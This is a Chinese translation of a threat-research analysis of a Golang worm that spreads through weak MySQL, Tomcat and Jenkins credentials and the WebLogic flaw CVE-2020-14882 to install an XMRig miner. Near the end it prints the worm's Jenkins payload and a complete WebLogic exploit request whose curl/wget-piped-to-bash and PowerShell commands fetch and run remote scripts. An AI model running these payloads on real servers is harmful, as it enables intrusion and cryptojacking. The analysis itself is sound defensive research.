使用Golang語言開(kāi)發多(duō)平台惡意軟件是2020年惡意軟件的發展趨勢。2020年12月初,研究人(rén)員發現了一個(gè)新的用Golang語言編寫的蠕蟲。該蠕蟲嘗試在網絡中傳播來(lái)大(dà)規模地運行(xíng)XMRig挖礦機。惡意軟件的目标是Windows和(hé)Linux服務器(qì)。在老版本中,該蠕蟲嘗試利用WebLogic的漏洞——CVE-2020-14882。
研究人(rén)員分析發現,攻擊者持續更新C2服務器(qì)上(shàng)的蠕蟲,表明(míng)惡意軟件開(kāi)發者非常活躍,而且在未來(lái)的更新中可(kě)能會(huì)攻擊其他弱配置的服務。
技(jì)術(shù)分析
攻擊者使用了3個(gè)文件:
· 釋放器(qì)腳本(bash或powershell);
· Golang二進制(zhì)蠕蟲;
· XMRig 挖礦機。
這3個(gè)文件都位于同一C2服務器(qì)上(shàng)。
截止目前,ELF 蠕蟲二進制(zhì)文件和(hé)bash 釋放器(qì)腳本在VirusTotal 中都沒有(yǒu)檢測到。圖1是VirusTotal 對ELF 蠕蟲二進制(zhì)文件的檢測結果。
圖 1: VirusTotal 對ELF 蠕蟲二進制(zhì)文件的檢測結果
惡意軟件在Windows和(hé)Linux操作(zuò)系統上(shàng)的行(xíng)為(wèi)非常相似。下面對Linux蠕蟲的工作(zuò)流進行(xíng)分析。
Linux蠕蟲工作(zuò)流
蠕蟲執行(xíng)後會(huì)檢查受感染的機器(qì)上(shàng)是否有(yǒu)進程在監聽(tīng)52013端口。端口監聽(tīng)器(qì)的存在是一個(gè)mutex互斥量。如果端口的socket已經開(kāi)放,惡意軟件實例就會(huì)退出,否則就會(huì)打開(kāi)一個(gè)端口的網絡socket。
在老版本中,蠕蟲會(huì)解壓XMRig 挖礦機為(wèi)Network01到tmp文件夾中,并運行(xíng)。挖礦機會(huì)使用Go資源嵌入包(go-bindata)嵌入到Golang二進制(zhì)文件中,惡意軟件會(huì)使用bindataFile來(lái)解壓嵌入的XMRig 挖礦機。圖2是文件中的函數(shù):
圖 2: xmrig_linux_amd64.go文件
惡意軟件會(huì)使用TCP SYN掃描網絡來(lái)找到可(kě)以暴力破解的服務,并在網絡中傳播。然後掃描有(yǒu)與這些(xiē)服務相關的開(kāi)放端口的IP,Tomcat 和(hé) Jenkins的端口是8080,MySQL的端口是3306,WebLogic的端口是7001。這些(xiē)漏洞利用中在src exp代碼下有(yǒu)一個(gè)包。
圖 3: “exp”包文件和(hé)函數(shù)
蠕蟲使用gopacket庫來(lái)提供Go語言的C綁定,用libpcap來(lái)讀取網絡包。通(tōng)過運行(xíng)pcapc,蠕蟲會(huì)收集網絡數(shù)據并繼續對服務進行(xíng)暴力破解。圖4是蠕蟲暴力破解和(hé)嘗試在Tomcat和(hé)MySQL服務上(shàng)進行(xíng)漏洞利用的結果。
圖 4: 蠕蟲結果片段
漏洞利用後,惡意軟件會(huì)傳播一個(gè)加載器(qì)腳本:Linux系統是ld.sh,Windows平台是ld.ps1。加載器(qì)負責釋放和(hé)運行(xíng)XMRig挖礦機和(hé)Golang 蠕蟲。圖5和(hé)圖6是加載器(qì)腳本。
圖 5: ldr.sh –Linux平台的釋放器(qì)bash腳本
圖 6: ldr.ps1 script – Windows平台的釋放器(qì) powershell腳本
漏洞利用流
下面描述每個(gè)服務的攻擊流:
MySql: Port 3306
惡意軟件會(huì)運行(xíng)憑證暴力破解攻擊。惡意軟件會(huì)使用硬編碼的弱憑證目錄,比如root:123456。
成功登陸後,惡意軟件會(huì)使用mysql UDF運行(xíng)shellcode來(lái)獲取本地權限提升。漏洞利用以十六進制(zhì)字符串的形式嵌入在二進制(zhì)文件中。蠕蟲對不同的操作(zuò)系統和(hé)架構有(yǒu)不同的漏洞利用,設計(jì)的系統和(hé)架構有(yǒu)UDFLINUX32、UDFLINUX64、UDFLWIN32和(hé)UDFWIN64。
運行(xíng)漏洞利用後,payload會(huì)用sys_exec 命令來(lái)釋放和(hé)運行(xíng)加載器(qì)腳本。URLWIN 和(hé)URLLINUX 保存釋放器(qì)腳本URL。圖7和(hé)圖8是每個(gè)操作(zuò)系統對應的payload。
圖 7: MySQL查詢– Linux payload
圖 8: MySQL 查詢– Windows payload
Tomcat: Port 8080
惡意軟件會(huì)使用基本認證在管理(lǐ)員面闆上(shàng)運行(xíng)憑證填充。
圖 9: 到Tomcat管理(lǐ)員面闆的認證請(qǐng)求示例
成功嘗試後,惡意軟件會(huì)嘗試部署一個(gè)WAR文件,用來(lái)傳輸含有(yǒu)惡意payload的1.jsp 文件。
惡意軟件會(huì)發送Get請(qǐng)求,并分析jsp文件 %s/1.jsp?win=%s&linux=%s 的參數(shù)。這些(xiē)參數(shù)中含有(yǒu)釋放器(qì)腳本URL。然後,JSP腳本會(huì)釋放和(hé)運行(xíng)其加載器(qì)。
圖 10: 1.jsp文件腳本
Jenkins: Port 8080
與之前漏洞利用類似,惡意軟件會(huì)用口令填充來(lái)暴力破解Jenkins 登陸,并運行(xíng)以下payload:
cmd@/c@powershell iex(New-Object Net.WebClient).DownloadString(‘%s’)!bash@-c@(curl -fsSL %s || wget -q -O – %s) | bash
println “%s”+”%s”;def s=new String(Base64.getDecoder().decode(“%s”+”%s”.reverse())).split(“!”);def c=System.getProperty(“os.name”).contains(“indo”)?s[0].split(“@”):s[1].split(“@”);c.execute()
WebLogic: Port 7001
在之前版本中,惡意軟件會(huì)用最新的WebLogic 遠程代碼執行(xíng)漏洞利用CVE-2020-14882。惡意軟件會(huì)發送到WebLogic服務的get請(qǐng)求,并使用GET請(qǐng)求header 作(zuò)為(wèi)payload的一部分。
GET
/console/css/%%25%%32%%65%%25%%32%%65%%25%%32%%66consolejndi.portal?test_handle=com.tangosol.coherence.mvel2.sh.ShellSession(‘weblogic.work.ExecuteThread
%%20currentThread(weblogic.work.ExecuteThread)Thread.currentThread();weblogic.work.
WorkAdapter%%20adapter=currentThread.getCurrentWork();java.lang.reflect.Field%%20
field=adapter.getClass().getDeclaredField(“connectionHandler”);field.setAccessible
(true);Object%%20obj=field.get(adapter);weblogic.servlet.internal.ServletRequestI
mpl%%20req(weblogic.servlet.internal.ServletRequestImpl)obj.getClass().getMethod
(“getServletRequest”).invoke(obj);String%%20cmd=req.getHeader(“cmd”);String[]%%
20cmds=System.getProperty(“os.name”).toLowerCase().contains(“win”)?new%%20String[]{“cmd.exe”,”/c”,req.getHeader(“win”)}:new%%20String[]{“/bin/sh”,”c”,req.getHeader
(“linux”)};if(cmd!=null{String%%20result=new%%20java.util.Scanner(new%%20java.lang
.ProcessBuilder(cmds).start().getInputStream()).useDelimiter(“%%5C%%5CA”).next();
weblogic.servlet.internal.ServletResponseImpl%%20res(weblogic.servlet.internal.
ServletResponseImpl)req.getClass().getMethod(“getResponse”).invoke(req);work.
getServletOutputStream().writeStream(new%%20weblogic.xml.util.StringInputStream
(result));work.getServletOutputStream().flush
();}currentThread.interrupt();’) HTTP/1.0
Host: %s:%d
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.16; rv:82.0) Gecko/20100101 Firefox/82.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Connection: close
cmd: ls
linux: ( (curl -fsSL %s || wget -q -O – %s) | bash& )
win: start powershell iex(New-Object Net.WebClient).DownloadString(‘%s’)
總結
在2020年,研究人(rén)員發現許多(duō)攻擊不同平台的Golang惡意軟件,包括Windows、Linux、Mac和(hé)安卓。研究人(rén)員認為(wèi)這一趨勢在2021年将會(huì)繼續。此外,蠕蟲的PE和(hé)ELF版本代碼幾乎完全相同。
轉自嘶吼網/ang010ela
本文翻譯自:https://www.intezer.com/blog/research/new-golang-worm-drops-xmrig-miner-on-servers/